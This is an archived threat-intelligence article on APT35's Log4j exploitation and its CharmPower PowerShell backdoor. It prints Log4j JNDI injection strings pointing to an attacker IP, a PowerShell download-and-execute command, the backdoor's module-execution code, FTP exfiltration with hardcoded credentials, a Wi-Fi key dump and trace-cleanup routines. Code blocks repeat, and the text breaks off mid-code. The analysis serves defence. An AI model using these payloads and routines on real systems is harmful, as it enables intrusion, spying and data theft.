{
	"id": "c30a0532-cdaf-4301-b7b9-ace9039fcbf9",
	"created_at": "2026-04-08T02:23:23.484798Z",
	"updated_at": "2026-04-10T03:34:00.696102Z",
	"deleted_at": null,
	"sha1_hash": "c62e02b04a2b3f9387584ba7298dc1a7f40a01f8",
	"title": "APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 156592,
	"plain_text": "APT35 exploits Log4j vulnerability to distribute new modular\r\nPowerShell toolkit\r\nBy etal\r\nPublished: 2022-01-11 · Archived: 2026-04-08 02:00:28 UTC\r\nIntroduction\r\nWith the emergence of the Log4j security vulnerability, we’ve already seen multiple threat actors, mostly financially\r\nmotivated, immediately add it to their exploitation arsenal. It comes as no surprise that some nation-sponsored actors also\r\nsaw this new vulnerability as an opportunity to strike before potential targets have identified and patched the affected\r\nsystems.\r\nAPT35 (aka Charming Kitten, TA453, or Phosphorus), which is suspected to be an Iranian nation-state actor, started\r\nwidespread scanning and attempts to leverage Log4j flaw in publicly facing systems only four days after the vulnerability\r\nwas disclosed. The actor’s attack setup was obviously rushed, as they used the basic open-source tool for the exploitation\r\nand based their operations on previous infrastructure, which made the attack easier to detect and attribute.\r\nIn this article, we share the details of the latest attacks by APT35 exploiting the Log4j vulnerability and analyze their post-exploitation activities including the new modular PowerShell-based framework dubbed CharmPower, used to establish\r\npersistence, gather information, and execute commands.\r\nInfection chain\r\nTo exploit the Log4j vulnerability (CVE-2021-44228), the attackers chose one of the publicly available open-source JNDI\r\nExploit Kits, since removed from GitHub due to its enormous popularity following the vulnerability emergence. There are\r\nmultiple analysis papers that explain how the vulnerability can be exploited, so we will skip the details of the actual\r\nexploitation step.\r\nFigure 1: The infection chain.\r\nTo exploit the vulnerable machine, the attackers send a crafted request to the victim’s publicly facing resource. In this case,\r\nthe payload was sent in the User-Agent or HTTP Authorization headers:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEF\r\n${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFRQmxBRzRBZEF\r\n${jndi[:]ldap[://]144[.]217[.]139[.]155:4444/Basic/Command/Base64/cG93ZXJzaGVsbCAtZWMgSkFCWEFHVUFZZ0JEQUd3QWFR\r\nAfter successful exploitation, the exploitation server builds and returns a malicious Java class to be executed on a vulnerable\r\nmachine. This class runs a PowerShell command with a base64-encoded payload:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 1 of 18\n\nEnlighterJS 3 Syntax Highlighter\r\nExploitQVQRSQrKet.cmd = \"powershell -ec\r\nJABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0AC\r\nExploitQVQRSQrKet.cmd = \"powershell -ec\r\nJABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0AA0AC\r\nExploitQVQRSQrKet.cmd = \"powershell -ec JABXAGUAYgBDAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABuAGUAdAAuAH\r\nIt eventually downloads a PowerShell module from an Amazon S3 bucket URL\r\nhxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt and then executes it:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n$WebClient=New-Object net.webclient\r\n$Text = $WebClient.downloadString(\"\u003chttps://s3.amazonaws.com/doclibrarysales/test.txt\u003e\")\r\npowershell -ec $Text\r\n$WebClient=New-Object net.webclient $Text = $WebClient.downloadString(\"\r\n\u003chttps://s3.amazonaws.com/doclibrarysales/test.txt\u003e\") powershell -ec $Text\r\n$WebClient=New-Object net.webclient\r\n$Text = $WebClient.downloadString(\"\u003chttps://s3.amazonaws.com/doclibrarysales/test.txt\u003e\")\r\npowershell -ec $Text\r\nCharmPower: PowerShell-based modular backdoor\r\nThe downloaded PowerShell payload is the main module responsible for basic communication with the C\u0026C server and the\r\nexecution of additional modules received. The main module performs the following operations:\r\nValidate network connection – Upon execution, the script waits for an active internet connection by making HTTP\r\nPOST requests to google.com with the parameter hi=hi .\r\nBasic system enumeration – The script collects the Windows OS version, computer name, and the contents of a file\r\nNi.txt in $APPDATA path; the file is presumably created and filled by different modules that will be downloaded\r\nby the main module.\r\nRetrieve C\u0026C domain – The malware decodes the C\u0026C domain retrieved from a hardcoded URL\r\nhxxps://s3[.]amazonaws[.]com/doclibrarysales/3 located in the same S3 bucket from where the backdoor was\r\ndownloaded.\r\nReceive, decrypt, and execute follow-up modules.\r\nAfter all of the data is gathered, the malware starts communication with the C\u0026C server by periodically sending HTTP\r\nPOST requests to the following URL on the received domain:\r\n\u003cC\u0026C domain\u003e/Api/Session .\r\nEach request contains the following POST data:\r\nSession=\"[OS Version] Enc;;[Computer name]__[Contents of the file at $APPDATA\\\\Ni.txt]\"\r\nThe C\u0026C server can respond in one of two ways:\r\nNoComm – No command, which causes the script to keep sending POST requests.\r\nBase64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in\r\nbase64. A fragment of the decoding routine is provided below:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 2 of 18\n\nfunction decrypt($Cipher) {\r\n$Cipher = $Cipher.Replace(\"############\", \"+\");\r\n$Cipher = $Cipher.Replace(\"************\", \"%\");\r\n$Cipher = $Cipher.Replace(\"____________\", \"\u0026\");\r\n$Cipher = $Cipher.Replace(\"_c_c_c_c_c_\", \"+\");\r\n$Cipher = $Cipher.Replace(\"_x_x_x_x_x_\", \"%\");\r\n$Cipher = $Cipher.Replace(\"_z_z_z_z_z_\", \"\u0026\");\r\n$b = $Cipher.ToCharArray()\r\n[array]::Reverse($b)\r\n$ReverseCipher = -join($b)\r\n$EncodedText = [char[]]::new($ReverseCipher.length)\r\nfor ($i = 0; $i -lt $ReverseCipher.length; $i++) {\r\nif ($ReverseCipher[$i] - ceq '*') {$EncodedText[$i] = '='}\r\nelseif ($ReverseCipher[$i] - ceq 'l') {$EncodedText[$i] = 'a'}\r\nelseif ($ReverseCipher[$i] - ceq 'L') {$EncodedText[$i] = 'A'}\r\nelseif ($ReverseCipher[$i] - ceq 'c') {$EncodedText[$i] = 'b'}\r\nelseif ($ReverseCipher[$i] - ceq 'C') {$EncodedText[$i] = 'B'}\r\n\u003c...\u003e\r\n}\r\nreturn [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText))\r\n}\r\nfunction decrypt($Cipher) { $Cipher = $Cipher.Replace(\"############\", \"+\"); $Cipher =\r\n$Cipher.Replace(\"************\", \"%\"); $Cipher = $Cipher.Replace(\"____________\", \"\u0026\"); $Cipher =\r\n$Cipher.Replace(\"_c_c_c_c_c_\", \"+\"); $Cipher = $Cipher.Replace(\"_x_x_x_x_x_\", \"%\"); $Cipher =\r\n$Cipher.Replace(\"_z_z_z_z_z_\", \"\u0026\"); $b = $Cipher.ToCharArray() [array]::Reverse($b) $ReverseCipher = -join($b)\r\n$EncodedText = [char[]]::new($ReverseCipher.length) for ($i = 0; $i -lt $ReverseCipher.length; $i++) { if\r\n($ReverseCipher[$i] - ceq '*') {$EncodedText[$i] = '='} elseif ($ReverseCipher[$i] - ceq 'l') {$EncodedText[$i] = 'a'} elseif\r\n($ReverseCipher[$i] - ceq 'L') {$EncodedText[$i] = 'A'} elseif ($ReverseCipher[$i] - ceq 'c') {$EncodedText[$i] = 'b'} elseif\r\n($ReverseCipher[$i] - ceq 'C') {$EncodedText[$i] = 'B'} \u003c...\u003e } return\r\n[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText)) }\r\nfunction decrypt($Cipher) {\r\n $Cipher = $Cipher.Replace(\"############\", \"+\");\r\n $Cipher = $Cipher.Replace(\"************\", \"%\");\r\n $Cipher = $Cipher.Replace(\"____________\", \"\u0026\");\r\n $Cipher = $Cipher.Replace(\"_c_c_c_c_c_\", \"+\");\r\n $Cipher = $Cipher.Replace(\"_x_x_x_x_x_\", \"%\");\r\n $Cipher = $Cipher.Replace(\"_z_z_z_z_z_\", \"\u0026\");\r\n $b = $Cipher.ToCharArray()\r\n [array]::Reverse($b)\r\n $ReverseCipher = -join($b)\r\n $EncodedText = [char[]]::new($ReverseCipher.length)\r\n for ($i = 0; $i -lt $ReverseCipher.length; $i++) {\r\n if ($ReverseCipher[$i] - ceq '*') {$EncodedText[$i] = '='}\r\n elseif ($ReverseCipher[$i] - ceq 'l') {$EncodedText[$i] = 'a'}\r\n elseif ($ReverseCipher[$i] - ceq 'L') {$EncodedText[$i] = 'A'}\r\n elseif ($ReverseCipher[$i] - ceq 'c') {$EncodedText[$i] = 'b'}\r\n elseif ($ReverseCipher[$i] - ceq 'C') {$EncodedText[$i] = 'B'}\r\n \u003c...\u003e\r\n }\r\n return [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedText))\r\n}\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 3 of 18\n\nThe downloaded modules are either PowerShell scripts, or C# code. Each decoded module has the following format:\r\nlanguage~code~modulename~action , where the action might be stop , start or downloadutil . The latter is relevant\r\nonly for PowerShell modules.\r\nThe following fragment of the code handles module parsing and performs the relevant execution method depending on the\r\nlanguage of the module:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n[string[]]$arr = $CommandPart.Split(\"~\");\r\n[string]$language = $arr[0];\r\n[string]$Command = $arr[1];\r\n[string]$ThreadName = $arr[2];\r\n[string]$StartStop = $arr[3];\r\nif ($StartStop -ne \"-\" -and $StartStop -ne \"\") {\r\nif ($language -like \"*owers*\") {\r\nif ($StartStop -like \"*wnloaduti*\") {\r\n\u0026(gcm *ke-e*) $Command;\r\n} elseif ($StartStop -eq \"start\") {\r\n$scriptBlock = [Scriptblock]::Create($Command)\r\nStart-Job -ScriptBlock $scriptBlock -Name $ThreadName\r\n} elseif ($StartStop -eq \"stop\") {\r\n\u0026(gcm *ke-e*) $Command; }\r\n} elseif ($language -like \"*shar*\") {\r\nif ($StartStop -eq \"start\") {\r\n$ScriptBlock = {Param ([string] [Parameter(Mandatory = $true)] $Command)\r\nAdd-Type $Command\r\n[AppProject.Program]::Main()}\r\nStart-Job $ScriptBlock -ArgumentList $Command -Name $ThreadName\r\n} elseif ($StartStop -eq \"stop\") {\r\n\u0026(gcm *ke-e*) $Command;}\r\n[string[]]$arr = $CommandPart.Split(\"~\"); [string]$language = $arr[0]; [string]$Command = $arr[1]; [string]$ThreadName\r\n= $arr[2]; [string]$StartStop = $arr[3]; if ($StartStop -ne \"-\" -and $StartStop -ne \"\") { if ($language -like \"*owers*\") { if\r\n($StartStop -like \"*wnloaduti*\") { \u0026(gcm *ke-e*) $Command; } elseif ($StartStop -eq \"start\") { $scriptBlock =\r\n[Scriptblock]::Create($Command) Start-Job -ScriptBlock $scriptBlock -Name $ThreadName } elseif ($StartStop -eq \"stop\")\r\n{ \u0026(gcm *ke-e*) $Command; } } elseif ($language -like \"*shar*\") { if ($StartStop -eq \"start\") { $ScriptBlock = {Param\r\n([string] [Parameter(Mandatory = $true)] $Command) Add-Type $Command [AppProject.Program]::Main()} Start-Job\r\n$ScriptBlock -ArgumentList $Command -Name $ThreadName } elseif ($StartStop -eq \"stop\") { \u0026(gcm *ke-e*)\r\n$Command;}\r\n[string[]]$arr = $CommandPart.Split(\"~\");\r\n[string]$language = $arr[0];\r\n[string]$Command = $arr[1];\r\n[string]$ThreadName = $arr[2];\r\n[string]$StartStop = $arr[3];\r\nif ($StartStop -ne \"-\" -and $StartStop -ne \"\") {\r\n if ($language -like \"*owers*\") {\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 4 of 18\n\nif ($StartStop -like \"*wnloaduti*\") {\r\n \u0026(gcm *ke-e*) $Command;\r\n } elseif ($StartStop -eq \"start\") {\r\n $scriptBlock = [Scriptblock]::Create($Command)\r\n Start-Job -ScriptBlock $scriptBlock -Name $ThreadName\r\n } elseif ($StartStop -eq \"stop\") {\r\n \u0026(gcm *ke-e*) $Command; }\r\n } elseif ($language -like \"*shar*\") {\r\n if ($StartStop -eq \"start\") {\r\n $ScriptBlock = {Param ([string] [Parameter(Mandatory = $true)] $Command)\r\n Add-Type $Command\r\n [AppProject.Program]::Main()}\r\n Start-Job $ScriptBlock -ArgumentList $Command -Name $ThreadName\r\n } elseif ($StartStop -eq \"stop\") {\r\n \u0026(gcm *ke-e*) $Command;}\r\nThe main module can also change the communication channel: once every 360 C\u0026C loops, it can retrieve a new domain\r\nfrom the actors’ S3 bucket:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nif ($loopCount -eq 360) {\r\nWrite - Output \"-------------------------------------------\"\r\n$loopCount = 0\r\n$Domain = getDomain\r\n}\r\nif ($loopCount -eq 360) { Write - Output \"-------------------------------------------\" $loopCount = 0 $Domain = getDomain }\r\nif ($loopCount -eq 360){\r\n Write - Output \"-------------------------------------------\"\r\n $loopCount = 0\r\n $Domain = getDomain\r\n}\r\nThe modules sent by the C\u0026C are executed by the main module, with each one reporting data back to the server separately.\r\nThis C\u0026C cycle continues indefinitely, which allows the threat actors to gather data on the infected machine, run arbitrary\r\ncommands and possibly escalate their actions by performing a lateral movement or executing follow-up malware such as\r\nransomware.\r\nModules\r\nEvery module is auto-generated by the attackers based on the data sent by the main module: each of the modules contains a\r\nhardcoded machine name and a hardcoded C\u0026C domain.\r\nAll the modules we observed contain shared code responsible for:\r\nEncrypting the data.\r\nExfiltrating gathered data through a POST request or by uploading it to an FTP server.\r\nSending execution logs to a remote server.\r\nIn addition to this, each module performs some specific job. We managed to retrieve and analyze the next modules:\r\nList installed applications.\r\nTake screenshots.\r\nList running processes.\r\nGet OS and computer information.\r\nExecute a predefined command from the C\u0026C.\r\nClean up any traces created by different modules.\r\nApplications Module\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 5 of 18\n\nThis module uses two methods to fetch installed applications. The first is to enumerate Uninstall registry values:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nfunction Get-InstalledPrograms {\r\n[CmdletBinding()]\r\nparam (\r\n[Parameter()]\r\n[string]\r\n$DisplayName\r\n)\r\nGet-ItemProperty -Path @(\r\n'HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKLM:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKCU:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*'\r\n) -ErrorAction SilentlyContinue | Where-Object {\r\n-not $PSBoundParameters.ContainsKey('DisplayName') -or (\r\n$_.PSObject.Properties.Name -contains 'DisplayName' -and $_.DisplayName -like $DisplayName\r\n);\r\n} | Select-Object DisplayName| Sort-Object -Property DisplayName;\r\n}\r\nfunction Get-InstalledPrograms { [CmdletBinding()] param ( [Parameter()] [string] $DisplayName ) Get-ItemProperty -Path\r\n@( 'HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKLM:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n'HKCU:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*' ) -ErrorAction SilentlyContinue |\r\nWhere-Object { -not $PSBoundParameters.ContainsKey('DisplayName') -or ( $_.PSObject.Properties.Name -contains\r\n'DisplayName' -and $_.DisplayName -like $DisplayName ); } | Select-Object DisplayName| Sort-Object -Property\r\nDisplayName; }\r\nfunction Get-InstalledPrograms {\r\n [CmdletBinding()]\r\n param (\r\n [Parameter()]\r\n [string]\r\n $DisplayName\r\n )\r\n Get-ItemProperty -Path @(\r\n 'HKLM:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n 'HKCU:\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n 'HKLM:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*',\r\n 'HKCU:\\\\Software\\\\Wow6432Node\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\*'\r\n ) -ErrorAction SilentlyContinue | Where-Object {\r\n -not $PSBoundParameters.ContainsKey('DisplayName') -or (\r\n $_.PSObject.Properties.Name -contains 'DisplayName' -and $_.DisplayName -like $DisplayName\r\n );\r\n } | Select-Object DisplayName| Sort-Object -Property DisplayName;\r\n}\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 6 of 18\n\nThe second method is to use the wmic command:\r\ncmd.exe /c \"wmic product get name, InstallLocation, InstallDate, Version/format:csv \u003e $FilePath\"\r\nScreenshot Module\r\nWe observed both the C# and PowerShell variants of this module, each of which has the capabilities to capture multiple\r\nscreenshots with the specified frequency and upload the resulted screenshots to the FTP server with credentials hardcoded in\r\nthe script:\r\nSendByFTP(\"ftp://\" + \"54.38.49.6\" + \":21/\" + \"VICTIM-PC__\" + \"/screen/\" + Name + \".jpg\", \"lesnar\",\r\n\"a988b988!@#\", FilePath);\r\nThe C# script is using a base64-encoded PowerShell command to take a screenshot from multiple screens:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n[Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\")\r\n[void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\")\r\n[void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms\")\r\n$width = 0;\r\n$height = 0;\r\n$workingAreaX = 0;\r\n$workingAreaY = 0;\r\n$screen = [System.Windows.Forms.Screen]::AllScreens;\r\nforeach ($item in $screen) {\r\nif($workingAreaX -gt $item.WorkingArea.X) {\r\n$workingAreaX = $item.WorkingArea.X;\r\n}\r\nif($workingAreaY -gt $item.WorkingArea.Y) {\r\n$workingAreaY = $item.WorkingArea.Y;\r\n}\r\n$width = $width + $item.Bounds.Width;\r\nif($item.Bounds.Height -gt $height) {\r\n$height = $item.Bounds.Height;\r\n}\r\n}\r\n$bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height);\r\n$bmp = New-Object Drawing.Bitmap $width, $height;\r\n$graphics = [Drawing.Graphics]::FromImage($bmp);\r\n$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);\r\n$savePath = \"$env:APPDATA\\\\systemUpdating\\\\help.jpg\";\r\n$bmp.Save($savePath);\r\n[Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\") [void]\r\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\") [void]\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 7 of 18\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms\") $width = 0; $height = 0; $workingAreaX\r\n= 0; $workingAreaY = 0; $screen = [System.Windows.Forms.Screen]::AllScreens; foreach ($item in $screen) {\r\nif($workingAreaX -gt $item.WorkingArea.X) { $workingAreaX = $item.WorkingArea.X; } if($workingAreaY -gt\r\n$item.WorkingArea.Y) { $workingAreaY = $item.WorkingArea.Y; } $width = $width + $item.Bounds.Width;\r\nif($item.Bounds.Height -gt $height) { $height = $item.Bounds.Height; } } $bounds =\r\n[Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height); $bmp = New-Object\r\nDrawing.Bitmap $width, $height; $graphics = [Drawing.Graphics]::FromImage($bmp);\r\n$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size); $savePath =\r\n\"$env:APPDATA\\\\systemUpdating\\\\help.jpg\"; $bmp.Save($savePath);\r\n[Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\")\r\n [void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Drawing\")\r\n [void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms\")\r\n $width = 0;\r\n $height = 0;\r\n $workingAreaX = 0;\r\n $workingAreaY = 0;\r\n $screen = [System.Windows.Forms.Screen]::AllScreens;\r\n foreach ($item in $screen) {\r\n if($workingAreaX -gt $item.WorkingArea.X) {\r\n $workingAreaX = $item.WorkingArea.X;\r\n }\r\n if($workingAreaY -gt $item.WorkingArea.Y) {\r\n $workingAreaY = $item.WorkingArea.Y;\r\n }\r\n $width = $width + $item.Bounds.Width;\r\n if($item.Bounds.Height -gt $height) {\r\n $height = $item.Bounds.Height;\r\n }\r\n }\r\n $bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height);\r\n $bmp = New-Object Drawing.Bitmap $width, $height;\r\n $graphics = [Drawing.Graphics]::FromImage($bmp);\r\n $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size);\r\n $savePath = \"$env:APPDATA\\\\systemUpdating\\\\help.jpg\";\r\n $bmp.Save($savePath);\r\nProcesses Module\r\nThis module attempts to grab running processes by using the tasklist command:\r\ncmd.exe /c \"tasklist /v /FO csv \u003e $FilePath\"\r\nSystem Information Module\r\nThis module contains a bunch of PowerShell commands, which oddly enough, are commented-out. The only command that\r\nis performed is the systeminfo command.\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n#$Path = systeminfo\r\n#$Hosts=$Path|Select-String \"Host Name:\"\r\n#$OSName=$Path|Select-String \"OS Name:\"\r\n#$RegisteredOwner=$Path|Select-String \"Registered Owner:\"\r\n#$SystemBootTime=$Path|Select-String \"System Boot Time:\"\r\n#$SystemModel=$Path|Select-String \"System Model:\"\r\n#$SystemType=$Path|Select-String \"System Type:\"\r\n#$SystemDirectory=$Path|Select-String \"System Directory:\"\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 8 of 18\n\n#$TimeZone=$Path|Select-String \"Time Zone:\"\r\n#$infos=$Hosts.ToString()+\"`r`n\"+$OSName.ToString()+\"`r`n\"+$RegisteredOwner.ToString()+\"`r`n\"+$SystemBootTime.ToString()+\"`r`n\"+$SystemMo\r\n#$infos | Out-File -FilePath $FilePath\r\n#Get-Date -Format \"yyyy/dd/MM HH:mm\" | Out-File -FilePath $FilePath -append\r\n#ipconfig /all | findstr /C:\"IPv4\" /C:\"Physical Address\" \u003e\u003e $FilePath\r\nsysteminfo | Out-File -FilePath $FilePath -append -Encoding UTF8\r\n#$Path = systeminfo #$Hosts=$Path|Select-String \"Host Name:\" #$OSName=$Path|Select-String \"OS Name:\"\r\n#$RegisteredOwner=$Path|Select-String \"Registered Owner:\" #$SystemBootTime=$Path|Select-String \"System Boot\r\nTime:\" #$SystemModel=$Path|Select-String \"System Model:\" #$SystemType=$Path|Select-String \"System Type:\"\r\n#$SystemDirectory=$Path|Select-String \"System Directory:\" #$TimeZone=$Path|Select-String \"Time Zone:\"\r\n#$infos=$Hosts.ToString()+\"`r`n\"+$OSName.ToString()+\"`r`n\"+$RegisteredOwner.ToString()+\"`r`n\"+$SystemBootTime.ToString()+\"`r`n\"+$SystemMo\r\n#$infos | Out-File -FilePath $FilePath #Get-Date -Format \"yyyy/dd/MM HH:mm\" | Out-File -FilePath $FilePath -append\r\n#ipconfig /all | findstr /C:\"IPv4\" /C:\"Physical Address\" \u003e\u003e $FilePath systeminfo | Out-File -FilePath $FilePath -append -\r\nEncoding UTF8\r\n#$Path = systeminfo\r\n#$Hosts=$Path|Select-String \"Host Name:\"\r\n#$OSName=$Path|Select-String \"OS Name:\"\r\n#$RegisteredOwner=$Path|Select-String \"Registered Owner:\"\r\n#$SystemBootTime=$Path|Select-String \"System Boot Time:\"\r\n#$SystemModel=$Path|Select-String \"System Model:\"\r\n#$SystemType=$Path|Select-String \"System Type:\"\r\n#$SystemDirectory=$Path|Select-String \"System Directory:\"\r\n#$TimeZone=$Path|Select-String \"Time Zone:\"\r\n#$infos=$Hosts.ToString()+\"`r`n\"+$OSName.ToString()+\"`r`n\"+$RegisteredOwner.ToString()+\"`r`n\"+$SystemBootTime\r\n#$infos | Out-File -FilePath $FilePath\r\n#Get-Date -Format \"yyyy/dd/MM HH:mm\" | Out-File -FilePath $FilePath -append\r\n#ipconfig /all | findstr /C:\"IPv4\" /C:\"Physical Address\" \u003e\u003e $FilePath\r\nsysteminfo | Out-File -FilePath $FilePath -append -Encoding UTF8\r\nFrom the commented-out commands, we can get the idea of how the threat actors organize the system information on their\r\nend, what data they are interested in, and what they might take into consideration when sending more modules.\r\nCommand Execution Module\r\nThe threat actors can execute remote commands by running this specialized module with predefined actions. This module\r\nattempts to execute a command. It uses the PowerShell Invoke-Expression method for the PowerShell-based module,\r\nwhile its C# implementation has both cmd and PowerShell options.\r\nDuring the analysis, we observed how the next command execution modules are created and sent by the threat actor:\r\nListing the C:/ drive contents using cd C:/; ls;\r\nListing the specific Wi-Fi profile details using netsh wlan show profiles name='\u003cName\u003e' key=clear;\r\nListing the drives using Get-PSDrive .\r\nCleanup Module\r\nThis module will be dropped after the attackers have finished their activity and want to remove any traces from the system.\r\nThe module contains cleanup methods for persistence-related artifacts in the registry and startup folder, created files, and\r\nrunning processes.\r\nThis module contains five hardcoded levels, depending on the attack stage, and each one serves a different purpose. The\r\nexecution level is predetermined by the threat actor in each specific case:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n$Level = \"level4\"\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 9 of 18\n\nif($Level -eq \"level1\") {\r\nwevtutil el\r\n}\r\nelseif($Level -eq \"level2\") {\r\nCleanStartupFolder\r\n}\r\nelseif($Level -eq \"level3\") {\r\nCleanPersisRegistryAndFile\r\n}\r\nelseif($Level -eq \"level4\") {\r\nCleanModules\r\n}\r\nelseif($Level -eq \"level5\") {\r\nwevtutil el\r\nCleanPersisRegistryAndFile\r\nCleanStartupFolder\r\nRemove-Item $env:APPDATA/a.ps1\r\nRemove-Item $env:APPDATA/textmanager.ps1\r\nRemove-Item $env:APPDATA/docready.bat\r\nRemove-Item $env:APPDATA/pdfreader.bat\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name\r\n\"databrowser\"\r\n}\r\n$Level = \"level4\" if($Level -eq \"level1\") { wevtutil el } elseif($Level -eq \"level2\") { CleanStartupFolder } elseif($Level -eq\r\n\"level3\") { CleanPersisRegistryAndFile } elseif($Level -eq \"level4\") { CleanModules } elseif($Level -eq \"level5\") {\r\nwevtutil el CleanPersisRegistryAndFile CleanStartupFolder Remove-Item $env:APPDATA/a.ps1 Remove-Item\r\n$env:APPDATA/textmanager.ps1 Remove-Item $env:APPDATA/docready.bat Remove-Item $env:APPDATA/pdfreader.bat\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name\r\n\"databrowser\" }\r\n$Level = \"level4\"\r\nif($Level -eq \"level1\") {\r\n wevtutil el\r\n}\r\nelseif($Level -eq \"level2\") {\r\n CleanStartupFolder\r\n}\r\nelseif($Level -eq \"level3\") {\r\n CleanPersisRegistryAndFile\r\n}\r\nelseif($Level -eq \"level4\") {\r\n CleanModules\r\n}\r\nelseif($Level -eq \"level5\") {\r\n wevtutil el\r\n CleanPersisRegistryAndFile\r\n CleanStartupFolder\r\n Remove-Item $env:APPDATA/a.ps1\r\n Remove-Item $env:APPDATA/textmanager.ps1\r\n Remove-Item $env:APPDATA/docready.bat\r\n Remove-Item $env:APPDATA/pdfreader.bat\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 10 of 18\n\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name 